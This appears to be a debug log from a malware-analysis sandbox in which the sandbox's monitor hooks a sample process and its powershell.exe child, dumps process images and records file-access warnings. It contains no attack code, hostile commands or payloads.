2019-08-13 23:48:25,437 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:25,437 [root] INFO: Added new process to list with pid: 2492
2019-08-13 23:48:25,437 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2892
2019-08-13 23:48:25,437 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:25,437 [root] INFO: Monitor successfully loaded in process with pid 2492.
2019-08-13 23:48:25,437 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:25,453 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:25,453 [root] DEBUG: GetHookCallerBase: thread 2724 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:25,453 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:25,483 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,483 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:25,483 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:25,483 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,516 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:25,516 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:25,516 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:25,562 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:25,578 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:25,578 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:25,578 [root] DEBUG: Loader: Injecting process 2892 (thread 2820) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,578 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:25,625 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:25,625 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,625 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2492_942207920258514382019
2019-08-13 23:48:25,625 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:25,655 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:25,655 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:25,655 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:25,671 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:25,671 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:25,671 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:25,687 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:25,687 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2892
2019-08-13 23:48:25,687 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:25,687 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:25,703 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:25,703 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:25,703 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:25,703 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:25,717 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:25,733 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:25,733 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:25,750 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x00000000000B5000-0x00000000000C0000
2019-08-13 23:48:25,750 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:25,780 [root] INFO: Added new process to list with pid: 2892
2019-08-13 23:48:25,780 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:25,780 [root] INFO: Monitor successfully loaded in process with pid 2892.
2019-08-13 23:48:25,780 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:25,796 [root] DEBUG: GetHookCallerBase: thread 2820 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:25,796 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:25,796 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:25,796 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:25,812 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,812 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:25,858 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:25,858 [root] INFO: Process with pid 1304 has terminated
2019-08-13 23:48:25,858 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:25,858 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:25,858 [root] INFO: Process with pid 2232 has terminated
2019-08-13 23:48:25,890 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:25,890 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:25,890 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:25,890 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:25,967 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:25,999 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:25,999 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:26,015 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2892_1206225666258514382019
2019-08-13 23:48:26,015 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:26,062 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:26,076 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:26,076 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:26,076 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\DC3ALVBRLQMLP4TZFP79.temp'
2019-08-13 23:48:26,092 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\DC3ALVBRLQMLP4TZFP79.temp'
2019-08-13 23:48:26,108 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:26,108 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:26,108 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\DC3ALVBRLQMLP4TZFP79.temp'
2019-08-13 23:48:26,108 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:26,124 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP'
2019-08-13 23:48:26,124 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:26,154 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp" does not exist, skip.
2019-08-13 23:48:26,154 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:26,171 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:26,186 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:26,201 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:26,201 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:26,201 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:26,217 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:26,217 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:26,249 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:26,249 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:26,263 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:26,279 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:26,279 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:26,279 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:26,296 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:26,311 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp" does not exist, skip.
2019-08-13 23:48:26,311 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:26,311 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:26,326 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:26,404 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8OEM69UENG4HGBVVQ7R.temp'
2019-08-13 23:48:26,436 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8OEM69UENG4HGBVVQ7R.temp'
2019-08-13 23:48:26,436 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:26,451 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:26,483 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8OEM69UENG4HGBVVQ7R.temp'
2019-08-13 23:48:26,483 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP'
2019-08-13 23:48:26,483 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:26,529 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp" does not exist, skip.
2019-08-13 23:48:26,529 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:26,529 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp" does not exist, skip.
2019-08-13 23:48:26,545 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:26,545 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:26,592 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:26,622 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:26,622 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:26,638 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:26,638 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:27,200 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:27,200 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:27,246 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8CT7KWXU9XMKH99I7EKO.temp'
2019-08-13 23:48:27,246 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8CT7KWXU9XMKH99I7EKO.temp'
2019-08-13 23:48:27,263 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:27,263 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8CT7KWXU9XMKH99I7EKO.temp'
2019-08-13 23:48:27,278 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP'
2019-08-13 23:48:27,278 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:27,293 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp" does not exist, skip.
2019-08-13 23:48:27,293 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:27,309 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp" does not exist, skip.
2019-08-13 23:48:27,309 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:27,325 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:27,418 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:27,418 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:27,434 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:27,466 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:27,466 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:27,480 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:27,480 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:27,480 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:27,480 [root] INFO: Notified of termination of process with pid 1860.
2019-08-13 23:48:27,512 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\UGBSY238RMQMYQ4LVNUX.temp'
2019-08-13 23:48:27,512 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:27,512 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\UGBSY238RMQMYQ4LVNUX.temp'
2019-08-13 23:48:27,512 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:27,512 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:27,512 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\UGBSY238RMQMYQ4LVNUX.temp'
2019-08-13 23:48:27,528 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP'
2019-08-13 23:48:27,528 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:27,543 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp" does not exist, skip.
2019-08-13 23:48:27,543 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\TT3E3RT2NYJ67V4GD3YY.temp'
2019-08-13 23:48:27,559 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\TT3E3RT2NYJ67V4GD3YY.temp'
2019-08-13 23:48:27,559 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:27,575 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\TT3E3RT2NYJ67V4GD3YY.temp'
2019-08-13 23:48:27,575 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP'
2019-08-13 23:48:27,589 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:27,589 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp" does not exist, skip.
2019-08-13 23:48:27,901 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:27,901 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp" does not exist, skip.
2019-08-13 23:48:27,917 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:27,917 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:27,917 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:27,917 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp" does not exist, skip.
2019-08-13 23:48:27,934 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:27,934 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:28,012 [root] INFO: Process with pid 1860 has terminated
2019-08-13 23:48:28,012 [root] INFO: Process with pid 2548 has terminated
2019-08-13 23:48:28,385 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:28,401 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:28,463 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:28,480 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:28,510 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:28,510 [root] INFO: Notified of termination of process with pid 2244.
2019-08-13 23:48:28,526 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\PO8FSL294B4483IFZ7K3.temp'
